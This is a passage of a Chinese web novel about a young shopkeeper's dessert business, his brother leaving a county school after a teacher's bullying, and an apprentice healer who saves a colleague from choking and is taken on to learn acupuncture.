“若是觉得可行,到时候给卖货郎的绒花样式不必太复杂,以价廉为主,薄利多销。占据村户市场,收入也会很可观。” 沈燕仔细听着,复述一遍无误,又在心里默念几遍。 她保证道:“哥夫放心,回去我第一时间就和爹娘说。” 凌星带了做冰酥酪的原料,用铺子里的蒸锅和碗做了十一份冰酥酪。 沈家人和谢青崖夫夫二人,以及许七,正好一人一份。 原料有限,他自己和沈回没有。 把做好的冰酥酪放在冰盆里冰镇的时候,凌星悄悄对沈回说:“回县里我再给二郎做酥酪吃。” 沈回闻言轻笑,“好。” 二人赶着回县里,和许七叙叙旧吃完饭,就匆匆离开。 沈归今日去看铺子,他也想租铺面,把咸菜生意做大些。 看完铺面回小吃铺子时,凌星和沈回已经走了。 没见到哥夫和二哥的沈归,心情郁闷的吃一口冰凉清甜的冰酥酪。 酥酪入口的瞬间,人就像被按了什么开关一样,立即阴转晴,吃的两眼放光。 什么哥夫,二哥,统统抛却脑后。 靠着强大的父爱和对妻子的爱,以及孝心,才没把魔抓伸向其他人的冰酥酪。 不过他晚上回去,还是很不要脸面的哄着小春小夏,一人给他吃一口冰酥酪。 哎,这个不能怪他,实在是冰酥酪太太太太太好吃啦! 回到县城,凌星直奔县衙。 他从镇上铺子拿了两罐咸菜,借着送咸菜的名义进去。 沈回送凌星到县衙后就去归还马车,之后要赶去县学。 乡试在即,他想一次中举,半日假已经是极限。 凌星叮嘱他路上小心,就抱着咸菜罐子去见林县令。 和林县令说了屠海的决定,等收拾完,就会带着兄弟去码头。 林清渝满意点头,码头他安排了本家人在那,定能在周拓没反应过来前就出行。 解决心头一大事,林清渝明显高兴不少,他问凌星,“你一直欲言又止的样子,是有别的事要说?” 凌星不再犹豫,询问道:“县令大人,不知县学里可否换夫子教阿月诗文?” 林清渝一听就知道是凌月在县学被刁难了。 他摇摇头,“没办法,除非一整个班换。不过县学夫子如何安排,本官也不好动。读出名堂的人少,县学夫子的位置是好不容易凑满的,哪个都不能得罪,得他们自己同意且由山长亲自调换才行。” 凌星从沈回那知道秦明风是山长妻弟,那山长对秦明风也是多有偏袒,这条路是走不通了。 林清渝知道凌星不是个会轻易开口求人的,估计凌月在县学被折磨不轻,实在没办法,这才张口。 偏县学那边,即便是他,也确实没法插这手。 他想了一下,提议道:“不然把凌月送去林家家学?那边本官还是能说上话,塞个人去的。家学夫子也很不错。” 凌星没敢答应,这人情太大了,还不了。 “多谢县令大人厚爱,京城路远,阿月年纪太小,不好分离太远。” 林清渝一想也是,便没再提林家家学。 凌星谢过后离开,为了能让凌月有更好的状态读书,怕是只能离开县学。 晚上凌月又被秦明风找了个理由留下,天黑透才回来。 凌星煮一碗醪糟圆子,撒上桂花干,打上鸡蛋花。 香甜软糯,带着花香。 凌月吃的微微发汗,鼻尖都沁出汗珠。 凌星用帕子给他擦一下,开口问道:“阿月,若觉得县学待不下去,环境不利于你读书,咱们就退学。哥哥重新给你找夫子,不受那气。” 凌月手上动作一顿,抬头看向凌星,想了一下,愧疚点头。 他确实不喜欢秦夫子。 也确实因为秦夫子的缘故,根本没办法在县学里好好念书。 长久下去,他不仅不会有所成,还会深受其害。 “辛苦哥哥了,是我不好,总给哥哥添麻烦。” 凌星摸他的头,说没事。 不过退出县学前要找好夫子才行,其他的夫子教的还是很不错。 提前离开,没有夫子教导,怕是也会耽误读书。 凌星心里想着得抓紧,需要多多拜访各位夫子。 在此之前,凌月只能先在县学读着。 翌日,林家庄子的庄头送来三十五斤的牛奶,凌星结清尾款,定下明日的三十五斤,又另给定金。 他昨天下午去铺子,和柳家兄弟说了今天会晚点去,要在家中做新品,让他们开铺子。 也因铺子面积有限,没地方再放冰盆,做冰酥酪。 家里铁锅够大,凌星加水架竹蓖子。 瓷盅都是在瓷器铺子里批量购买,大小规格一致。 一锅能出十三盅。 五十盅做完要一个时辰,再冰镇半个时辰,中午前能赶上送去铺子里卖。 正好那会天热了,早上也吃不了这冰酥酪。 临近中午,天气越发的热。 凌星用小推车把五十盅冰酥酪运往铺子。 推车上放了两个冰桶,又用棉被盖在上面,进行保温。 不然受热后,白瓷盅会很快起水珠,酥酪也会很快不冰。 棉被这时候的价格比起秋冬便宜,凌星买的不大,价格还能接受。 不得不说,冰酥酪各方面的成本,真的都很高。 柳家兄弟按着凌星说的,提前告知食客,今日有新品上。 知道凌记小吃铺子里的吃食味道好,就没难吃的东西。 听说有新品,不少人都派随从死守小吃铺子,等着凌掌柜带新品过来,买了才能回去。 凌星的出现,就像是热油锅里滴入冷水,人群一下子沸起来。 外面太阳大得很,等蔫的人们,一下子焕发光彩生机,眼神期盼的看向凌星。 “叫大家久等了。” 柳青玉速度快,第一时间过来接过凌星手里的推车。人群主动让路,推车顺利无阻的停在铺子门口的布棚下。 凌星给等候的人们介绍新吃食,“这次上新的吃食是解暑降温的,叫冰酥酪。冰凉清爽,香甜味美。一盅四十七文,暂时一人限购两盅。” 他怕出现一人买十几盅的情况。 如今不比天气凉爽时,天热人多,等好久结果买不少,心情不好,更容易生出事端。 物以稀为贵,这还是小吃铺子第一次出现限购,也是第一次出现卖的这样贵的吃食。 倒不是他们觉得贵,而是对比于小吃铺子其他吃食来说冰酥酪价格是真的很贵。 有钱的食客随从们,听主家的话,必须要带回新品。 有买一盅,也有买两盅的。 五十盅的冰酥酪很快就下去一半。 凌星还看到了衙役来排队,是给林县令买的。 听说限量,衙役收回县令大人要买十盅的话,有些苦恼的先买了两盅。 因为价贵,冰酥酪不像烤肠,上来就全部卖完。 队伍散开后,最后还剩下二十盅。 凌星把它们放进冰桶,用棉被盖好保温,等下午的客人。 天热之后有钱有闲的食客们不愿意晒太阳,都叫随从小厮去排队。 听说今日小吃铺子上新品,食客们也是期待的很。 李春风和周雨二人就是在小吃铺子门口排队认识的,因二人兴趣相投,口味相投,很快成了朋友。 家中产业如今也在合作,收益可观,两家受益。 二人随从各自带着两盅冰酥酪,在书房外等候。 没一会随从就被叫进去,两人都迫不及待的想尝尝新吃食的味道。 听说这冰酥酪一盅卖四十七文,李、周二人对视一眼,都从彼此眼神中看出满意。 这个价格才够格在春雨街开的铺面嘛。 掀开瓷盅盖子,微凉冷气,裹着浓郁奶香,清甜酒香。白嫩光滑的酥酪上,有一层醪糟还有蜂蜜,桂花干。 卖相与香气已经让二人极为满意。 等不及的用勺子舀出一勺,冰凉滑嫩的酥酪很轻易就被舀起,入口微凉恰到好处,口感如丝绸般爽滑,奶味十足,香甜无比。 好吃! 二人反应及时,立即派人去铺子再买。 李春风捧着白瓷盅舍不得放下,叮嘱道:“多带几个人去!买十盅回来!” 周雨跟着喊了一样的话,随从们快速离开后,二人再次享用起美味的冰酥酪。 此时凌记小吃铺子前,已经有了回头客。 最后二十盅,在两刻钟内卖完。 李春风的随从抢到三盅,周雨随从只抢到两盅。 冰酥酪并没有因为价格高,就滞销。 反而是满足了一部分人的需求,拿出去送人,不跌面儿。 第二天,凌星让铺子里的伙计按时辰去小院拿冰酥酪,他昨天一个人推着推车,有些吃力。 今天多一个人,省时省力许多。 铺子前排的队伍比昨天长许多,还有好几个衙役身影。 都知道冰酥酪限购,一家派好几个人来排队呢。 冰酥酪味道好,老少皆宜,清凉解暑,很快就又供不应求。 林清渝今日打了场有准备的仗,一下派出五名衙役,都抢到了两盅冰酥酪。 他是一口气吃了个爽,结果因为贪凉,大半夜腹痛请大夫。 安静了两天后,就又好了伤疤忘了疼,继续派人去买冰酥酪。 不过这次收敛不少,一日只准自己吃两盅。 凌星在庄子里定的牛奶,从每日三十五斤,涨到四十五斤,每天卖出六十三盅左右的冰酥酪。 冰酥酪凌星一盅盈利十文,一整个六月,光酥酪纯盈利就入账十八两另六百四十文。 铺子月盈利超过百两,商税提到了二成。 去除其他花销,凌星六月净赚了五十二两,比起五月多赚七两。 生意上凌星已经很满意,什么也不做,也能继续平稳的发展下去。 就是六月都结束了,凌星找了许多夫子,结果都不合适。 凌月还在县学里读着。 人比起五月,又瘦不少,精气神也被消磨大半,每天强撑着去上学。 凌星都庆幸幸好沈回有功名在身,和那秦明风一样都是秀才,对方不敢对沈回怎样。 也因有沈回在,以及林县令的缘故,秦明风至今不敢动手打阿月。 可这样熬着人,也不是个事。 县城实在没有合适的夫子,他便往府城走。 不过还需再积攒半年,但县学显然是不能再继续。凌星专程去找凌月商量,看看是不是直接在家里读一阵子书。 今年的乡试凌月并不参加,在家读半年,应也不打紧。 凌月仔细思考利弊。 在县学其他夫子很好,让他受益良多。但秦夫子的所作所为,对他的影响似乎更大。 现在他已经明显感觉到吃力,每天睡不好,会没办法集中精力。 既然有选择,凌月点头同意。 “好的哥哥,我先退学在家中念书。” 决定退学后,凌月整个人轻松不少。 第二日凌星跟着一起去,要和山长说凌月退学一事。 沈回宽慰凌星,“阿月的课业不必担忧,实在没有夫子,遇到不会的也能问我。等乡试结束,我也可好好教阿月。” 有了沈回的话,凌星最后一点担忧也全无。 得知凌星来是要办理退学,门房很是吃惊,至今为止这还是他遇见的头一个,说要让孩子从县学退学的。 门房在前引路,带着凌星和凌月去山长所在处。 第80章 第 80 章 二合一 八月中下旬就要乡试, 县学有不少学子要参加。 眼看只有一个多月的时间,韩世青近几日都在吃斋念佛拜三清。 各路神仙能拜的都拜,希望县学能出个举人,不仅是为面上有光, 和他的政绩也挂钩。 “山长, 门房来报,说凌月的兄长带他来办理退学。” 韩世青刚上完香, 身上沾着檀香气息。他轻掸衣袖, 低声沉吟, “凌月……” “是林县令推荐来的那个孩子?” 书童恭敬回禀,“是。” 内间传来匆忙脚步声, 韩世青略显急色走出内间, 语气急促,“快叫人进来。” 凌星和凌月在外没等多久,就被请进屋去。 韩世青一脸和蔼叫兄弟二人坐, 视线若有似无的打量着二人。 “好好的,怎么要退学?” 凌星看向韩世青, 见他神色温和,像是真在奇怪凌月为何突然要退学。 可身为秦明风姐夫,岂会真不知缘由。 而且不知为何,他觉得眼前的韩山长眼神有些奇怪。 探究审视的意味过重, 让他感觉自己是被审问的犯人一样。 凌星声音冷冷的, 没以往温和气, “山长这话问的, 倒是叫我不知如何说。不如山长问问秦夫子去?” 韩世青语塞片刻,没想到凌星会这么不给面子,不由干笑两声, “人叫来叫去,也是麻烦。” “既然已经决定了,便不多耽误你们时间,我这就去写证明。” 县学退学,比入学简单的多。 由山长写证明后盖印,就算成了。 拿到盖印证明,凌星带着凌月直接离开。 直到人彻底走没影,韩世青才把视线收回,看一眼手边小屉,随即眉头紧锁着叫书童把秦明风叫来。 “姐夫你说什么?要我给一个小儿道歉?” 秦明风双手撑在书桌,惊疑不定的喊道。 韩世青不耐烦往后仰,拉开二人之间距离,“那孩子今日退学了,他出去后若是说出什么,你的名声还要不要?” 秦明风冷嗯一声,“他敢说我?我不说他小小年纪就忤逆师长,毫无规矩可言就不错了!” 韩世青斥道:“你浑说什么?真当县学里的那些夫子会一直沉默着,任你为所欲为?” “凌月年幼聪慧,得人喜爱。自从上次他没随你的意后,你对他处处针对,事事打压。已经有好几个夫子过来找我,话里话外都是要我管一管你。” “那时候凌月还在县学,他们怕你在看不见的地方对凌月下重手,一直没明着表露出来。如今他已经退学,不再受你拘束。你以为,你胡乱攀诬后,他们还能沉默不语,替你遮掩?” 秦明风不在意道:“不是还有姐夫在,他们哪敢……” “秦明风。”韩世青打断他的话,面色凝重,眼神透着冷意,“不去的话,你也给我离开县学。” 秦明风一怔,以前不管他做什么,姐夫都从没说过让他离开县学的话。 “姐夫,那凌月又没什么背景势力,何至于姐夫如此在意?” 韩世青皱眉,“你只知看人的身家背景,可有一次是看人本身才学?他小小年纪就过童生,其他夫子皆说他聪颖又好学。得一者已是不易,二者兼得,少之又少。我也暗中观察过,此子心性极稳,不骄不躁。你当他真是池中物?” 秦明风不屑,轻嗤一声。 “年幼聪慧,不代表以后一定厉害。他这童生,不也是擦着边过的?又有什么了不起。” 见人怎么也说不通,只一味反驳,顾着自己那点可怜的面子。韩世青不想再浪费唇舌,声音沉下几分,明显不悦。 “就算他以后一无所成,你今日也得给我去道歉。人现在应是在学堂道别,快别耽误,立刻就去。当着所有学子的面说,不说你今天就直接离开县学,别当什么县学夫子,我这庙小,容不得你!” 这蠢货也不想想,林县令那样的背景,为何会平白无故帮一个哥儿的弟弟寻县学名额? 他只晓得林县令没有因为他对凌月不好,有任何的动作,而彻底没有忌惮。 韩世青却知道,林县令那样的出身,寻常的东西和人,都不会让他放在心上。 这样的一个人,愿意出面帮忙,只能说明对方有这个价值。 虽说他尚未看出其中关窍,但凌月的兄长不容小觑。 不过以上这些都还是次要。 更主要的是,他收到了一封信。 今日一早,朝学阁书桌上放着一封密封好的信。 信封上陌生的笔迹凌厉如刀,写着“韩山长亲启”。 打开信封,里面是他前日晚上喝多了酒,与妾室说的些胡话。 醉酒胡言不打紧,要紧的是他提起了前朝。 以他资历,本可以去府学,偏新朝建立,皇帝要提拔历练得用之人,他无甚根基,运作不了,位置被人占去。 只得继续做县学山长。 云水县能有多少念出头的读书人?他想做出成绩升迁,难上加难。 搞不好,他这辈子,都只能是个县学山长。 当初离他去府学任山长,只差一月。 东西都收拾好,结果改朝换代了。 这是他心里的刺,是永远的遗憾与难平。 日子久了,难免会生出怨怼愤懑,借着酒意说两句,牵扯到为何那么早改朝换代的话。 他这样的经历,关起门来怨两句实在正常,可没想到会被人听了去。 仔细想想,那院子靠着街,若真有人翻进来还真可能。 但屋里连伺候的仆人都无,哪怕是贴着窗户,那距离也不可能听见他说话啊。 韩世青并不怀疑会是自己妾室搞鬼,此事只有她知,再蠢笨也不会在这件事上装神弄鬼。 且,信里的要求,是让秦明风对凌月道歉赔罪。 县学里发生的事,他从未对家里人说过一个字。 韩世青态度强硬,秦明风黑着脸,咬牙道:“知道了。” 等人彻底离开,韩世青抽出手边抽屉,垂眸看向突然出现的信件。 盯着信封上如刀锋般的字迹,心头一颤。 他不敢再看,这信内容是他的罪证,不能久留,赶紧烧了。 火光跳跃,将信逐渐吞没。 韩世青看着火光蚕食纸张,眉间紧锁,莫不是林县令派人去的? 云水县里,能有这样身手的人,除县令族中培养的死士外,他真想不到其他人。 这凌星和林县令究竟什么关系,县令大人为何如此帮他? 韩世青想不通,一想到暗处有一双眼睛在盯着他,就焦躁不安。 人果然需要谨言慎行,即便是在家中也一样。 童生学堂里,凌月在与同窗们道别。 他年岁小,同窗们都把他当作小辈看,孩子又乖巧聪慧,大家喜欢的不行。 突然说要走,想到秦夫子这一个多月的所作所为,凌月的决定也是情理之中。 放在他们身上,他们同样没有办法再忍受下去。 离开也好,没了秦夫子的刁难折磨,或许对凌月来说,才是更好的选择。 一一道别完,凌月准备离开时,被熟悉声音喊住。 “等一下。” 在不远处长廊等着凌月的凌星,一直在看着弟弟,发现弟弟突然僵硬一下,又一脸不悦的转身。 他顺着弟弟视线看去,是一名中年男子,身着儒袍,头戴纶巾,这样的穿着打扮,是县学夫子。 尊师重道,也要为人师者好才行。 如今凌月已经不是县学学子身份,他并没有对秦明风行礼。 若不是怕秦明风会冲过来拉住他,造成更多不必要的困扰,凌月甚至不会停下。 “不知秦夫子有何贵干?” 凌月挺直身板,童音因嗓子坏过而微哑粗砺,受情绪影响,倒是有几分的冷厉,没有孩童声音特有的绵软。 秦明风下意识想斥责,身为学子,对夫子是什么态度? 却见周围学子都围上来,凌月身后也走近一个陌生的人。 来人样貌极好,面无须,无喉结,与凌月眉眼间有几分的相似,应是他的哥儿兄长。 秦明风不屑轻哧,落在凌星身上的视线充满嫌恶。 他就说怎么林县令会对一个哥儿如此上心,长成这样,难怪能把林县令迷住。 秦明风的眼神充满恶意,凌月小脸严肃,“秦夫子在看什么?” 秦明风一噎,他总不好说是在看凌星。无故盯着个哥儿看,这要是传出去,有损形象。 童生班的学生们都对他有些不满,也不可能替他说话。 搞不好还会帮着凌月和他兄长,往他身上泼污水。 姐夫不知道怎么回事,突然偏袒起凌月来,眼下还是不要再惹人怨的好,不然他怕是真要被他姐夫驱赶出县学。 秦明风不再看凌星,想到接下来要当着这么多人的面给凌月道歉,忍不住心里就泛火。 可他又不得不做。 凌月见秦明风脸色青一阵红一阵又白一阵,在那和变脸一样的变来变去,一直不吭声。 他也不想和这人有什么牵扯交集,实在是不想将心绪浪费在不值得之人身上。 凌月转身要走,秦明风看他离开,张口又叫住他,“等一下,别动。” 凌月充耳不闻,凌星猜到这人就是一直欺负弟弟的秦夫子。 此人当真是一言难尽,方才看他的眼神,比起韩山长的探究,秦明风的视线充满恶意,极其令人不适。 凌星不想凌月再被他伤害,牵着凌月的手继续往前,对身后越来越大声,越来越气愤的叫喊充耳不闻。 眼看着人要走远,根本不听叫喊,秦明风没办法,只得往前追了两步喊道:“之前种种是我过错,叫你受了委屈,实在抱歉。” 说罢,也不等凌月有所反应,更不敢看周围学子的面容神情,匆匆跑开。 实在是丢死人,让他堂堂夫子对学生低头,姐夫怕不是真吃错了药! 童生班的学子们面面相觑,也不敢有什么动作动静,怕引得秦明风恼羞成怒,火气对着他们撒。 也替凌月高兴,终是从秦夫子口中得到一句道歉。 凌星和凌月兄弟两看一眼秦明风匆匆跑开的背影,亦是不解这人怎么今日转了性子。 凌月没有回应这声抱歉,秦明风跑走的样子,似乎也不需要有所回应。 他看得出来,秦明风是被逼无奈,不得不说这声抱歉。 不管怎样,有比没有好。 以后此人都和他没有关系了。 离开县学,凌月感觉身上都轻松许多。 对着太阳,闭上眼睛,抿嘴笑着享受片刻温暖阳光。 兄弟二人离开不久后,韩世青便找了瓦匠队,将家里的院墙又砌高许多。 凌月退学后没能找到新夫子,暂且在家中自学。 在睡了一天一夜,好好的补眠休息后,恢复以往作息。 天没亮就起来锻炼身体,随后看书,吃完饭后站着练会字,然后继续看书。 有何不懂的疑问,都记下来,等沈回下学回来的时候问他。 小吃铺子也忙的很,凌星不想凌月一个孩子在家,主要是年纪太小,又有被拐的经历,他实在放心不下。 干脆又新雇一人做活。 他每天在家里做做冰酥酪,还能照看些凌月。 伙计按时来拿冰酥酪,也不需要他再费劲送去。下午没什么事的时候,就溜达去铺子看看铺子情况,日子过的比之前潇洒自在许多。 凌月的精气神比在县学好,不仅是他,沈回也一样。 前段时间,凌星总见沈回打哈欠,眉眼间也略显疲惫。想着乡试快到,应该是紧张没怎么睡好。 好在这几日调整过来,精神许多。 不然他都准备去药铺,抓些静气安神的药了。 七月中旬,天气燥热。 树上的知了此起彼伏的叫着,蝉鸣尖锐刺耳,听着更觉心烦意乱。 平时没什么人来看病问诊的银杏医馆内,此时有三五人,都有气无力的坐在凳子上,身体倚靠木墙,疲软虚弱的很。 全是因高温中暑的人。 每年夏季都是这样,医馆到这个时候,基本每天都要熬煮许多的祛暑药剂。 天热熬药是最苦最累的活,热气蒸腾的叫熬药人也恨不得晕了才好。 以往这活都是辛夷去做,没办法四人里只有他识草药多,也有经验,可以准确掌握火候。 熬药之事容不得有差错,否则害的是病人。 辛夷坐在药炉子前面,闻着苦涩药味,沉着脸扇扇子。 豆大的汗珠往下滴,地面已经被汗水砸出个小坑,颜色比周围深许多。 衣衫全部湿透,扒在身上难受的很,扇子根本无法再扇出凉风,全是蒸腾热气。 院子里蝉鸣阵阵,辛夷焦躁烦闷,气息不稳。 他一把摔了扇子,指着树骂道:“叫叫叫!一天到晚就知道叫!我这就将你们全粘了做药!” “半夏!忍冬!你们过来看着药炉子!” 辛夷一声怒吼,年纪稍小些的半夏和忍冬不敢不听,放下手中切草药的活过来。 半夏比忍冬胆子大一点,“辛夷师兄,看药的活我们怕是做不来,万一出差错师父会生气的。不如我和忍冬去粘知了?” 粘知了只是借口,辛夷只想能离开药炉子,凉快一会。 他当然不能松口。 “能出什么事?你们今年不是已经知道药熬煮到什么时候可以停下?前面的事我已经做了,火候也调整过,现在只需要等着时间到,把它们倒出来就可以。你们何至于蠢笨到连看时间都不会?” 半夏和忍冬没敢吭声,他们只是怕万一出什么事,师父会罚他们。 可又拗不过辛夷,只能老老实实坐药炉子边上。 辛夷脸色终于好一些,去拿长竹竿和面团,要粘知了。 沈来和空青在分拣药草,看到拿着长竹竿的辛夷,沈来喊住他,“师父让你熬药,你怎么拿竹竿去粘知了?” 辛夷最烦沈来。 一个哥儿过来学医就算,偏偏还学的很快。 他当初可是花了大半年时间,师父才允许他分拣草药。 结果沈来只用两个多月,就能分拣了。 空青那个小屁孩,不过是摔倒后被沈来抱起来哄过一次,从此后就敢不听他话,去贴着那小子。 分拣草药也跟着,不仅不烦沈来,还有模有样的帮着分拣。 他以为沈来用不了多久肯定就会烦空青,毕竟他分拣草药的时候最讨厌空青过来。 小孩什么也不懂,拿着草药就知道问这是什么?那是什么? 问问问,说了又怎样?他还能记住不成? 谁知道沈来还真有问必答,从没不耐烦过。空青跟在他身后,真识得些草药,能帮上忙了。 如今空青都不和他们三人在一处玩,只认沈来。 辛夷心里对沈来更不满,觉得是他故意抢走空青。 但那小屁孩竟然背叛他们,和沈来走得近,他也不稀罕。 辛夷冷哼一声,举着长竹竿离开,压根不搭理沈来。 已经出声提醒过,后面的事,沈来也管不了。 他带着空青,继续分拣草药,做好自己该做的。 草药分拣完,空青肉乎乎的小脸被热的通红。他仰着头拉沈来衣角,眨巴着大眼睛,又乖又甜的和沈来打商量。 “小五哥哥,我今天做的好不好?可不可以吃一点点冰酥酪?” 空青刚过完五岁生日,生日那天沈来给他吃了两口冰酥酪,孩子早就馋这个,让他解解馋。 没吃的时候馋,吃完就更馋了。 整天乖的不行,就想表现好,沈来能再给他吃两口冰酥酪。 小孩子不好多吃有米酒的,但吃几口倒也无妨。 裴医也是允许。 沈来喜欢空青,因有空青在,他在这学医也多了些乐趣。 对空青并不过分的请求,他自是答应,“明日我带一份过来,咱们一起吃。” 沈来答应的事从来不作假,空青喜悦溢于言表,两眼亮晶晶,猛猛点头。 一大一小都在高兴着,突然听到一声怪异的咳嗽声,闷闷的像是被什么东西卡住带着明显气音。 “咳——咔咔咔——” 二人视线循着咳嗽声看去,发现不远处的树下,辛夷双手按在喉咙位置,整个人弓着腰背,正在低头使劲咳。 沈来感觉他的姿势和咳嗽声音很奇怪,上前去查看。 空青紧随其后跟着。 树荫地面散落着零碎的鸡骨头。 中午医馆吃的炖鸡,沈来在医馆这些日子,学聪明了。 到点就去吃饭,速度要快,第一个吃完,能吃好吃饱。 要是吃的慢些,他的饭菜就都会被辛夷抢走。 他观察到,辛夷也不是只针对他一个人。半夏,忍冬还有空青都一样,或多或少的都会被他欺压。 但辛夷对他是最坏,总拿他是哥儿的身份说事。 今日的炖鸡是用草药炖煮,用量讲究,味鲜美,有轻微药味,对身体有一定裨益。 沈来吃的很快,慢一步,鸡肉都没他的份。 饭桌上辛夷已经吃完他自己的那份,现在地上的鸡骨头,不知是他没吃完藏起来,还是抢了半夏或是忍冬的。 辛夷的喉咙持续发出怪异的声音,咔咔咔个不停,脸被憋通红,手指一直往嘴里抠。 这是被鸡骨头卡住了! 喉间被异物卡住可是能要命的。 半夏和忍冬也听到动静,觉得不对劲,放下手里活跑来。 看着辛夷快要憋死,吓的腿都发软。 事关人命,沈来急忙上前。 “半夏你去叫师父来,忍冬你带着空青离远一点,别吓着他。” 被吓得失魂的二人立马反应过来,下意识按着沈来说的去做。 此时辛夷动作幅度明显变小,脖颈的青筋都爆凸,看起来十分骇人。 沈来犹豫片刻后,快速从背后环住辛夷。 辛夷意识已经有些模糊,大脑一片空白根本没注意到沈来的举动。 他只觉得腹部位置被有规律的挤压,一阵恶心感涌上,疯狂的想呕吐。 但每到临界点又停下,让他没能吐出去。 不知被挤压多少次后,终于到了那个临界点。喉间飞出一物,窒息感瞬间骤降,新鲜空气倾注,那一瞬间天地都亮了。 他活过来了! 裴医急匆匆来到后院,看到沈来从后抱着辛夷,手在挤压动作,接着就有异物从辛夷口中飞出去的画面。 他从医多年,一眼就看出沈来的动作是救辛夷的关键。 要知道,年年被噎死的人,可并不少。 辛夷得救后意识很快就清醒,他知道是沈来救的他。 濒死的体验让他浑身发颤,他真的以为自己这次活不成了。 救命之恩,无以言表。 想起过往种种,他的脸青一阵白一阵,最后羞愧道:“多谢救命之恩,以后你是老大!” 沈来对当老大没兴趣,但当老大能让辛夷不再欺负他,于是毫不犹豫的点头。 裴医检查过辛夷,确认没问题。 又问清楚事情来龙去脉,辛夷想凉快点,把活给半夏和忍冬干,自己粘了会知了,觉得饿了,就去拿中午收起来的鸡吃。 谁知吃的太急,有一小块鸡骨头卡嗓子眼里去了。 鸡炖的软烂,骨头一咬就碎。 辛夷起初察觉到有鸡骨头没吐干净,但也没在意。怎么也想不到,最后竟会咽不下去,更吐不出来。 要不是沈来,他今日必死无疑。 裴医得知事情全貌,冷着脸罚辛夷跪到晚上,长长记性。 处理完辛夷,又叫沈来随他去前厅接待中暑的病人,处理完已经是一个时辰后。 终于得空,裴医问沈来道:“你救辛夷的手法,是有人教,还是自己琢磨出的?” 沈来如实告知,“是我哥夫教的。哥夫在镇上也有间铺子,那铺子之前是夫妻二人带着孩子开的。后来他们孩子卡住嗓子,没能救下,活活噎死。” “哥夫知道后,回家就教给我们一家人如何在噎住后救人的法子。这个方法叫海什么法,名字我记不清了……” 沈来声音越说越低,有些懊恼。师父好不容易问他事情,结果他却没记住,说不清。 裴医闻言点头,并没有因为沈来没说清楚就不悦。 他指尖轻点桌面,“辛夷一直都在欺负你,你为何还愿意救他?” 沈来道:“他是很不好,但也没有真的对我怎样,只是让我多干活。我因此完全视而不见的话,心里会不安。” 说到这里,沈来稍有停顿,小心翼翼的看向裴医,犹豫之后还是说出内心真实想法,“但他若是触碰到我的底线,比如真的伤害了我,或是我的家人,造成不可逆的伤害,那我会看着。就算是死,也不会动手救治。” 身为医者,要有一颗仁爱之心。 沈来知道自己说的这些话,是不符合医者之心。 他很怕今天就是自己最后一天在银杏医馆学医。 可他也不想隐瞒真实想法,他为人有自己的底线准则,在此之上不管怎样他都无所谓。 可若是触碰到,他没办法说服自己,去拯救“仇人”。 他做不到,也不想去做。 裴医指尖动作顿住,收回放在桌上的右手,用左手按住了右手手腕。 他轻声道:“你小小年纪,想的倒是长远。” 沈来见裴医没有生气的意思,紧张感少了许多,还能点头表示认可。 裴医莫名笑了一声,沈来不知何意,只得低头降低自己的存在感。 “你的手很稳,要跟为师学针灸术吗?” 沈来猛地抬头,师父这是认可他了? 他心跳加快,面色红润,惊喜不已,“师……师父!” 那副想叫又不好意思叫,最后实在高兴,叫出声来的师父,都有些变调。 裴医嘴角噙着淡淡笑意,之前对沈来有过测试,这孩子手确实是稳的很。那时候他就想要是沈来坚持下来,时机到了,就教授他自己独门针灸术。 如今时机正好。 “嗯,所以你想学吗?”裴医又问了一遍。 沈来高兴的恨不得跳起来,想到隔壁村的孙大夫,用针灸救治凌月,很是厉害。他也能学这样厉害的东西了!根本不敢再耽误,连连点头,“想学!” 裴医满意沈来的态度和回答,他颔首,“从明天开始,跟着我。” “提前告知你,会很累,比起辛夷最初让你刷药罐子,一直打井水还要累许多。若是觉得无法承受,现在可以说。” 沈来毫不犹豫,“徒儿可以,师父!” 裴医又高兴几分。 能这样斩钉截铁,比以往带的都强。 他垂眸片刻,不知想起什么,又对沈来道:“之前一直没怎么管你,是想磨练你的心性。哥儿学医不比汉子,为师和辛夷给的磨难,比起在这条路上你要面对的那些,不值一提。若是那些都坚持不下去,也不必再继续学医。” “如今愿意认可你的身份,与你救辛夷有关却也没有太大的关系。更多的是确认了,你明是非的同时,又有足够的自我。心性意志亦坚定,时机已到,不必再继续磨练观察下去。” 裴医强调着。 “承认你是弟子,就是因你够格了。所以今后,不要为此心有隔阂。认为为师是看在救人份上,才认下你这个徒弟。” 沈来猜想他师父以前肯定遇过差不多的情况,导致了误会,可能结果还不是很好。 所以才会专门的和他解释。 但不得不说,知道被承认的原因,就是因为他自己好,心里真的高兴开心。 裴医看着神色激动的沈来,认真叮嘱道:“沈来,你要记住,日后出门行医,保护好自己是第一位,即便是对自己的病患,也要保持高度的警惕。” 沈来感受到裴医的认真,他收敛情绪,重重的点头答应。 “我会的,师父。” 沈来开始和裴医学针灸后,几乎是要住在医馆。 每天去的更早,回来更晚。 出去一天,回来累的连根手指头都不想动。 持续半个月后,沈来终于习惯这个训练学习的强度。身体适应了,人再次精神起来,不再是累的回来后只能躺着。 七月下旬,第一批香肠全部卖光。商船带着小半船的银子回来,船停靠在码头。 屠海带着一众兄弟下船,随之而来的还有翰林王家,旁支的公子。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 80-90 第81章 第 81 章 三合一 县衙后院小书房, 屠海站在书桌前,深深的叹一口气。 出一趟船回来,人黑了不少,比起之前略显文气, 如今精壮许多。 常年不离手的折扇依旧在, 斜插在腰间。 林清渝百思不得其解的看向屠海,“你说你怎么就把他带回来了?” 屠海无奈道:“大人冤枉, 真不是我带的。是那王公子趁着船员不注意, 自己偷溜上来。总不好把人再半路扔下……” 林清渝捏着鼻根, 认命叹息。 王家出翰林,一门七翰林, 实乃清贵名流。 林家这样的世家大族, 与王家这样的清贵人家,互相看不上眼。 两家还是政敌,从未有意见相同的时候。 王雉虽只是王家旁支, 却是这一辈里能叫得出名字的,可见有些本事。 此番费尽心思的上船前来, 怕是有事。 不管是什么事,林清渝都不想知道,也不想管。他压根不想和王家人有任何的牵扯瓜葛。 事已至此,责怪也于事无补。 香肠收益不错, 第二批已经做好, 装船就能走。 林清渝对屠海挥挥手, 算是翻篇。 “你先下去休息, 后日启程。” 屠海也确实累,得了话后拱手离开,与前来通禀的小吏差点撞上。 刚走没两步, 就听小吏道:“县令大人,王公子求见。” 屠海一听,离开的脚步加快,生怕林县令生气再把他抓回去训。 王雉找上门要见面,林清渝若是不见,怕是王家一党能小题大做,参死他。 麻烦,真麻烦。 他长叹道:“让人进来吧。” 王雉一袭青衫,绸面光滑,织有青竹暗纹。县衙后院空间不大,没几步路就到。 